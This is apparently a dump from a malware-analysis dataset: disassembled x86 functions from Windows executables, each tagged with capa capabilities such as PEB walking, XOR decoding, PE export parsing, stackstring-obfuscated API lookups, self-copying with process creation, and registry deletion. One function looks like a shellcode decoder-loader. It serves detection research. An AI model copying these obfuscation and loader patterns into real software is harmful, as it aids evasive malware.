joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5160e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push ebx
push edi
mov ebx, 0x511034
mov eax, dword [eax + 0xc]
push ebx
mov edi, dword [eax + 0x18]
push dword [edi + 0x28]
call fcn.005ef6e0
pop ecx
pop ecx
test eax, eax
jne 0x516107
mov eax, dword [edi + 0x10]
jmp 0x516126
push esi
mov esi, dword [edi + 4]
jmp 0x51611f
push ebx
push dword [esi + 0x28]
call fcn.005ef6e0
pop ecx
pop ecx
test eax, eax
je 0x516129
mov esi, dword [esi + 4]
cmp esi, edi
jne 0x51610d
xor eax, eax
pop esi
pop edi
pop ebx
ret
mov eax, dword [esi + 0x10]
jmp 0x516125

Function at 0x516db8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x14]
mov ebx, dword [edx]
mov eax, dword [edx + 4]
test esi, esi
jle 0x516e1b
mov ecx, dword [ebp + 0x10]
sub dword [ebp + 0xc], ecx
mov dword [ebp - 4], esi
mov esi, dword [ebp + 0xc]
push edi
inc bl
movzx ebx, bl
mov cl, byte [edx + ebx + 8]
add al, cl
movzx eax, al
mov dword [ebp + 8], eax
mov edi, dword [ebp + 8]
mov al, byte [edx + eax + 8]
mov byte [edx + ebx + 8], al
add al, cl
movzx eax, al
mov byte [edx + edi + 8], cl
mov cl, byte [eax + edx + 8]
mov eax, dword [ebp + 0x10]
xor cl, byte [esi + eax]
mov byte [eax], cl
inc eax
sub dword [ebp - 4], 1
mov dword [ebp + 0x10], eax
mov eax, edi
jne 0x516dda
mov esi, dword [ebp + 0x14]
pop edi
mov dword [edx + 4], eax
mov eax, esi
pop esi
mov dword [edx], ebx
pop ebx
leave
ret

Function at 0x52fd3c
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xe2709e57
mov eax, 0x22fbd493
pop edx
std
mov al, 0x11
fidivr dword [ebx - 0x32bac4b4]
mov dword [0x5be668d2], eax
in eax, 0x28
pop ebx
in eax, 8
pop ebx
in eax, 0x18
dec edi
cli
mov cl, 0xde
neg dword [edi + 0x44]
wait
stosb byte es:[edi], al
pop ebp
pop ss
cmc
out dx, eax
inc esp
push 0xed32eecb
mov ah, 0xd7
pop ecx
mov ecx, 0xfecd790d
fild dword [esi + 0xc94ff91]
fld xword [esi + 6]
scasd eax, dword es:[edi]
rcr dword [0xa2660d64], cl
pop ebp
sbb al, 0xaf
dec edi
adc dword [eax - 0x23], 0x33
push eax
fnsave dword [ebx]
push eax
fnsave dword [ebx]
loop 0x52fcea
xchg esp, eax
invalid
Function at 0x5efd9c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
test ebx, ebx
je 0x5efdf7
mov edi, dword [ebp + 0xc]
test edi, 0xffff0000
jne 0x5efdc1
sub edi, dword [ebx + esi + 0x10]
jmp 0x5efe12
mov ecx, dword [ebx + esi + 0x20]
xor eax, eax
add ecx, esi
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], ecx
cmp dword [ebx + esi + 0x18], eax
jbe 0x5efdf7
mov eax, dword [ecx + eax*4]
add eax, esi
push edi
push eax
call fcn.005f7c7c
pop ecx
pop ecx
test eax, eax
je 0x5efe00
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
inc eax
mov dword [ebp + 8], eax
cmp eax, dword [ebx + esi + 0x18]
jb 0x5efdd5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov ecx, dword [ebp + 8]
test ecx, ecx
js 0x5efdf7
mov eax, dword [ebx + esi + 0x24]
lea eax, [eax + ecx*2]
movzx edi, word [eax + esi]
cmp edi, 0xffffffff
je 0x5efdf7
cmp edi, dword [ebx + esi + 0x14]
jae 0x5efdf7
mov eax, dword [ebx + esi + 0x1c]
lea eax, [eax + edi*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x5efdf9
Function at 0x5f7068
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov eax, dword [ebx + 0x48]
lea esi, [ebx + 0x28]
mov edx, dword [ebx + 4]
add eax, 0x28
mov ecx, dword [ebx]
add eax, ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], edx
test edx, edx
jne 0x5f70b3
cmp ecx, 0x20
jae 0x5f70b3
mov edi, dword [ebp + 8]
mov ebx, dword [ebx + 0x18]
add ebx, 0x165667c5
mov edi, dword [edi + 0x1c]
adc edi, 0x27d4eb2f
jmp 0x5f714a
push dword [ebx + 0x24]
push dword [ebx + 0x20]
push dword [ebx + 0x1c]
push dword [ebx + 0x18]
push dword [ebx + 0x14]
push dword [ebx + 0x10]
push dword [ebx + 0xc]
push dword [ebx + 8]
push 0x12
push dword [ebx + 0x24]
push dword [ebx + 0x20]
call fcn.005e8d8c
push 0xc
push dword [ebx + 0x1c]
mov edi, eax
mov esi, edx
push dword [ebx + 0x18]
call fcn.005e8d8c
push 7
push dword [ebx + 0x14]
add edi, eax
push dword [ebx + 0x10]
adc esi, edx
call fcn.005e8d8c
push 1
push dword [ebx + 0xc]
add edi, eax
push dword [ebx + 8]
adc esi, edx
call fcn.005e8d8c
add esp, 0x30
add edi, eax
adc esi, edx
push esi
push edi
call fcn.005184c0
add esp, 0x10
push edx
push eax
call fcn.005184c0
add esp, 0x10
push edx
push eax
call fcn.005184c0
add esp, 0x10
push edx
push eax
call fcn.005184c0
mov esi, dword [ebp - 8]
mov ebx, eax
mov eax, dword [ebp - 4]
mov edi, edx
mov ecx, dword [ebp - 0xc]
add esp, 0x10
mov edx, dword [ebp - 0x10]
add ebx, ecx
lea ecx, [esi + 8]
adc edi, edx
jmp 0x5f71a4
push 0x1b
push esi
call fcn.005fb018
push edx
push eax
push 0
push 0
call fcn.005f0170
add esp, 0x14
xor edx, edi
xor eax, ebx
push edx
push eax
call fcn.005e8d8c
add esp, 0xc
push 0x9e3779b1
push 0x85ebca87
push edx
push eax
call fcn.00513110
mov ecx, dword [ebp - 8]
mov ebx, eax
mov eax, dword [ebp - 4]
add ebx, 0xc2b2ae63
mov edi, edx
adc edi, 0x85ebca77
add esi, 8
add ecx, 8
mov dword [ebp - 8], ecx
cmp ecx, eax
jbe 0x5f7153
lea ecx, [esi + 4]
mov dword [ebp - 0x10], ecx
cmp ecx, eax
ja 0x5f7207
push 0x17
push esi
call fcn.005e9cd0
pop ecx
mov ecx, eax
mov eax, 0x9e3779b1
mul ecx
mov esi, eax
mov eax, 0x85ebca87
mul ecx
add esi, edx
xor eax, ebx
xor esi, edi
push esi
push eax
call fcn.005e8d8c
add esp, 0xc
push 0xc2b2ae3d
push 0x27d4eb4f
push edx
push eax
call fcn.00513110
mov esi, dword [ebp - 0x10]
mov ebx, eax
mov eax, dword [ebp - 4]
add ebx, 0x9e3779f9
mov edi, edx
adc edi, 0x165667b1
cmp esi, eax
jae 0x5f724b
movzx eax, byte [esi]
push 0xb
push 0x27d4eb2f
cdq
push 0x165667c5
push edx
push eax
call fcn.00513110
xor edx, edi
xor eax, ebx
push edx
push eax
call fcn.005e8d8c
add esp, 0xc
push 0x9e3779b1
push 0x85ebca87
push edx
push eax
call fcn.00513110
inc esi
mov ebx, eax
mov edi, edx
cmp esi, dword [ebp - 4]
jb 0x5f720b
push 0xc2b2ae3d
xor eax, eax
mov ecx, edi
push 0x27d4eb4f
shr ecx, 1
xor eax, edi
xor ecx, ebx
push eax
push ecx
call fcn.00513110
mov esi, eax
mov ecx, edx
shrd esi, ecx, 0x1d
push 0x165667b1
shr ecx, 0x1d
xor esi, eax
push 0x9e3779f9
xor ecx, edx
push ecx
push esi
call fcn.00513110
mov ecx, edx
xor esi, esi
pop edi
xor eax, ecx
xor edx, esi
pop esi
pop ebx
leave
ret
Function at 0x402a81
Capabilities:
Parse pe header

Disassembly:
test ecx, ecx
jne 0x402a88
xor al, al
ret
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x402a85
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x402a85
mov eax, dword [eax + 0x98]
test eax, eax
je 0x402aae
lea edx, [eax + ecx]
jmp 0x402ab0
xor edx, edx
test edx, edx
je 0x402a85
lea eax, [edx + 8]
test eax, eax
je 0x402a85
cmp byte [eax], 0x30
lea ecx, [eax + 1]
jne 0x402adf
mov al, byte [ecx]
inc ecx
cmp al, 0x82
jne 0x402adf
movzx eax, byte [ecx]
movzx ecx, byte [ecx + 1]
shl eax, 8
lea eax, [eax + ecx + 0x13]
and eax, 0xffffff8
jmp 0x402ae1
xor eax, eax
test eax, eax
je 0x402a85
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], edx
mov al, 1
ret

Function at 0x29a078a7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x29a078b6
pop dword [ebp - 0x50]
mov eax, 0xdd07c9d0
add eax, 0x4c98aee6
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xf505d133
sub dword [ebp - 0x60], 0xa6b38be8
mov dword [ebp - 0x5c], 0xa5d35e3d
sub dword [ebp - 0x5c], 0x73a011f8
mov dword [ebp - 0x58], 0x8fd448c
add dword [ebp - 0x58], 0x434effa2
mov dword [ebp - 0x54], 0x2468ff27
sub dword [ebp - 0x54], 0x2468ff27
lea eax, [ebp - 0x60]
push eax
mov eax, 0xc129e4bf
add eax, 0x68775bcd
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x73d83ad2
sub dword [ebp - 0x60], 0xff65d17c
mov dword [ebp - 0x5c], 0x746d6b24
add dword [ebp - 0x5c], 0xccfef651
mov dword [ebp - 0x58], 0x73cfe0f4
add dword [ebp - 0x58], 0xef9f8b78
mov dword [ebp - 0x54], 0x299e6322
sub dword [ebp - 0x54], 0x299e6322
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xec764cb3
sub eax, 0xc2d50c6f
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3611f
push 0
call eax
mov ecx, 0xf60fa0f0
sub ecx, 0xf60f69b8
xor ebx, ebx
add ebx, eax
mov esi, 0x27d4305e
sub esi, 0xfe32105e
add esi, dword [ebp - 0x50]
mov edi, 0xf9f08b9b
sub edi, 0x5d10356a
xor dword [ebp - 0x48], 0x3eb125b8
mov edx, dword [esi]
xor dword [ebp - 0x38], 0x5d5bf384
sub edx, edi
add dword [ebp - 0x18], 0x251c5e65
mov dword [ebx], edx
xor dword [ebp - 0xc], ecx
add ebx, 4
add esi, 4
loop 0x29a079da
add eax, 0x89a5ba02
add eax, 0x765b15b1
mov ebx, eax
add eax, 0xc29ae102
add eax, 0x3d651f03
mov ecx, 0x29a00000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x40106c
push esi
lea ecx, [ebp - 0x14]
mov word [ebp - 0xd], 0x4374
push ecx
push eax
mov dword [ebp - 0xa], 0x4865736f
mov dword [ebp - 5], 0x656c646e
mov byte [ebp - 0xb], 0x6c
mov word [ebp - 0x14], 0x6e49
mov dword [ebp - 0x11], 0x656e7265
mov byte [ebp - 1], bl
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 6], 0x61
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40106b
push edi
mov ecx, esi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401072
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404bcc
test eax, eax
je 0x4010ed
push esi
lea ecx, [ebp - 0x18]
mov word [ebp - 8], 0x656c
push ecx
push eax
mov dword [ebp - 0xd], 0x76697250
mov word [ebp - 0x17], 0x6a64
mov dword [ebp - 6], 0x736567
mov dword [ebp - 0x12], 0x656b6f54
mov byte [ebp - 0x18], 0x41
mov word [ebp - 0x14], 0x7473
mov byte [ebp - 9], 0x69
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0xe], 0x6e
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4010ec
push ebx
push ebx
push 0x10
push dword [ebp + 8]
mov ecx, esi
push ebx
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x4010f3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, edx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404bcc
test eax, eax
je 0x40115e
push esi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], 0x72507075
push ecx
push eax
mov dword [ebp - 0xa], 0x6c615665
mov dword [ebp - 0x18], 0x6b6f6f4c
mov dword [ebp - 0xf], 0x656c6976
mov dword [ebp - 6], 0x576575
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xb], 0x67
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40115d
push dword [ebp + 8]
mov ecx, esi
push edi
push ebx
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401164
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
xor esi, esi
mov ebx, edx
mov ebp, ecx
inc esi
call fcn.00404b03
mov ecx, eax
call fcn.00404bcc
test eax, eax
je 0x4011da
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x12], 0x65755167
push ecx
push eax
mov dword [esp + 0x23], 0x78456575
mov word [esp + 0x18], 0x6552
mov dword [esp + 0x1e], 0x61567972
mov word [esp + 0x27], 0x57
mov byte [esp + 0x22], 0x6c
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4011d9
push dword [esp + 0x34]
mov ecx, edi
push dword [esp + 0x34]
push 0
push 0
push ebx
push ebp
call dword [0x4172b8]
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x4011e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x40124b
push esi
lea ecx, [esp + 0x10]
mov word [esp + 0x10], 0x6e49
push ecx
push eax
mov dword [esp + 0x1b], 0x656e7265
mov dword [esp + 0x21], 0x576e6570
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x25], bl
mov word [esp + 0x1f], 0x4f74
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40124a
push ebx
push ebx
push ebx
push edi
push ebp
mov ecx, esi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x10
ret
Function at 0x40135b
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x890
push esi
push edi
push dword [ebp + 0x10]
push 0x41cd98
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x401473
mov edi, 0x208
lea eax, [ebp - 0x688]
push edi
xor esi, esi
push esi
push eax
call fcn.00407000
push edi
lea eax, [ebp - 0x480]
push esi
push eax
call fcn.00407000
push edi
lea eax, [ebp - 0x278]
push esi
push eax
call fcn.00407000
add esp, 0x24
lea eax, [ebp - 0x688]
mov edi, 0x104
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x480]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x278]
push eax
push esi
push 0x41cda0
lea eax, [ebp - 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov edx, str..exe
lea ecx, [ebp - 0x278]
call fcn.00404c40
push esi
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x44
pop edi
push edi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.00407000
add esp, 0xc
mov dword [ebp - 0x70], edi
mov edx, 0x41cdb4
lea ecx, [ebp - 0x278]
call fcn.00404c40
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push esi
push esi
push 0x50
push esi
push esi
push esi
lea eax, [ebp - 0x278]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
jmp 0x40152c
mov esi, dword [ebp + 8]
push 0x64
push 0x421580
push 0x68
push esi
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4214b8
push 0x6e
push esi
call dword [sym.imp.USER32.dll_LoadStringW]
mov ecx, esi
call fcn.00402c69
mov edx, dword [ebp + 0x14]
mov ecx, esi
call fcn.00401532
test eax, eax
je 0x40146c
push 0x6e
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, eax
xor esi, esi
jmp 0x4014e0
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x4014e0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x4014ba
push 0x208
lea eax, [ebp - 0x890]
push esi
push eax
call fcn.00407000
add esp, 0xc
lea eax, [ebp - 0x890]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 4
push esi
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
leave
ret 0x10
Function at 0x401b41
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
push ebx
push ebp
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x401b85
lea eax, [esp + 0x14]
mov edx, edi
push eax
push 0x20019
push ecx
mov ecx, ebx
call fcn.0040298b
add esp, 0xc
test eax, eax
je 0x401b90
cmp eax, 2
jne 0x401c21
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x5c
lea esi, [edi + eax*2]
pop eax
cmp word [esi - 2], ax
je 0x401bae
mov word [esi], ax
add esi, 2
xor eax, eax
mov word [esi], ax
xor ebp, ebp
jmp 0x401bd9
xor eax, eax
mov word [esi], ax
lea eax, [esp + 0x20]
push 0xffffffffffffffff
push eax
push 0x208
push edi
call fcn.0040ab26
add esp, 0x10
mov edx, edi
mov ecx, ebx
call fcn.00401b41
test eax, eax
je 0x401c02
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0x104
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push ebp
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x401bb2
xor eax, eax
mov word [esi - 2], ax
mov ecx, dword [esp + 0x14]
call fcn.00402a05
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x401b85
xor eax, eax
jmp 0x401b88
Function at 0x4026b3
Capabilities:
Check http status code

Disassembly:
mov eax, 0x416ce4
call fcn.00416b9c
sub esp, 0x4c
push ebx
push esi
push edi
push 0x6f
pop esi
push 0x77
mov edi, ecx
mov word [ebp - 0x4e], si
pop ecx
push 0x6c
pop eax
push 0x67
pop edx
push 0x2e
mov word [ebp - 0x58], cx
xor ebx, ebx
mov word [ebp - 0x54], cx
mov word [ebp - 0x56], cx
pop ecx
push 0x6d
mov word [ebp - 0x48], ax
pop eax
mov word [ebp - 0x3e], ax
push 0x65
pop eax
mov word [ebp - 0x46], ax
push 0x63
pop eax
mov word [ebp - 0x42], ax
xor eax, eax
mov word [ebp - 0x3c], ax
inc eax
mov word [ebp - 0x44], cx
mov word [ebp - 0x52], cx
mov ecx, eax
push eax
mov word [ebp - 0x50], dx
mov word [ebp - 0x4c], si
mov word [ebp - 0x4a], dx
mov word [ebp - 0x40], si
call fcn.00403c07
push eax
sub esp, 0x18
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call fcn.00404ce8
mov ecx, edi
call fcn.00403b33
cmp byte [edi + 0x18], bl
je 0x4027f4
lea ecx, [ebp - 0x38]
call fcn.0040224d
push ecx
push 0x4883000
sub esp, 0xc
mov dword [ebp - 4], ebx
mov ecx, eax
push 0x41d0f4
call fcn.00404500
mov ecx, dword [edi + 0x20]
mov edx, eax
call fcn.00402b60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
add esp, 0x18
mov esi, eax
call fcn.0040450c
test esi, esi
je 0x4027ed
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 4
push eax
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
call fcn.00402a69
or dword [ebp - 0x10], 0x180
lea eax, [ebp - 0x10]
add esp, 4
mov ecx, esi
push eax
call fcn.00402ae0
push ebx
push ebx
push ebx
xor edx, edx
mov ecx, esi
call fcn.00402810
add esp, 0x14
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 4
push ebx
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
cmp dword [ebp - 0x14], 0xc8
push 1
movzx ebx, bl
pop ecx
cmove ebx, ecx
mov ecx, esi
call fcn.00401000
mov ecx, edi
call fcn.004021da
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x402810
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x40288b
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x17], 0x71655264
push ecx
push eax
mov dword [esp + 0x25], 0x577473
mov word [esp + 0x1a], 0x7074
mov word [esp + 0x1d], 0x6e65
mov word [esp + 0x18], 0x7448
mov word [esp + 0x23], 0x6575
mov byte [esp + 0x1c], 0x53
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40288a
push dword [esp + 0x30]
mov ecx, esi
push dword [esp + 0x30]
push dword [esp + 0x30]
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret
Function at 0x402894
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x402915
push esi
lea ecx, [esp + 0x10]
mov word [esp + 0x19], 0x6165
push ecx
push eax
mov word [esp + 0x1b], 0x7265
mov word [esp + 0x1e], 0x7465
mov dword [esp + 0x25], 0x656c69
mov word [esp + 0x19], 0x746e
mov byte [esp + 0x18], 0x49
mov word [esp + 0x23], 0x4664
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x20], 0x52
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402914
push dword [esp + 0x2c]
mov ecx, esi
push 0x400
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret

Function at 0x40291e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404bcc
test eax, eax
je 0x402985
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xb], 0x6f547373
push ecx
push eax
mov word [ebp - 6], 0x6e65
mov byte [ebp - 4], bl
mov dword [ebp - 0xf], 0x65636f72
mov dword [ebp - 0x14], 0x6e65704f
mov byte [ebp - 7], 0x6b
mov byte [ebp - 0x10], 0x50
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402984
push dword [ebp + 8]
mov ecx, esi
push 0x20
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40298b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
xor esi, esi
mov ebx, edx
mov ebp, ecx
inc esi
call fcn.00404b03
mov ecx, eax
call fcn.00404bcc
test eax, eax
je 0x4029fc
push edi
lea ecx, [esp + 0x10]
mov word [esp + 0x18], 0x7965
push ecx
push eax
mov dword [esp + 0x22], 0x577845
mov dword [esp + 0x1b], 0x6e65704f
mov byte [esp + 0x1f], 0x4b
mov word [esp + 0x19], 0x6765
mov byte [esp + 0x18], 0x52
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4029fb
push dword [esp + 0x2c]
mov ecx, edi
push dword [esp + 0x2c]
push 0
push ebx
push ebp
call dword [0x4172b8]
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402a05
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
mov ebx, ecx
inc esi
call fcn.00404b03
mov ecx, eax
call fcn.00404bcc
test eax, eax
je 0x402a63
push edi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x43676552
push ecx
push eax
mov word [ebp - 5], 0x4b65
mov word [ebp - 8], 0x6f6c
mov word [ebp - 2], 0x79
mov byte [ebp - 6], 0x73
mov byte [ebp - 3], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x402a62
push ebx
mov ecx, edi
call dword [0x4172b8]
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret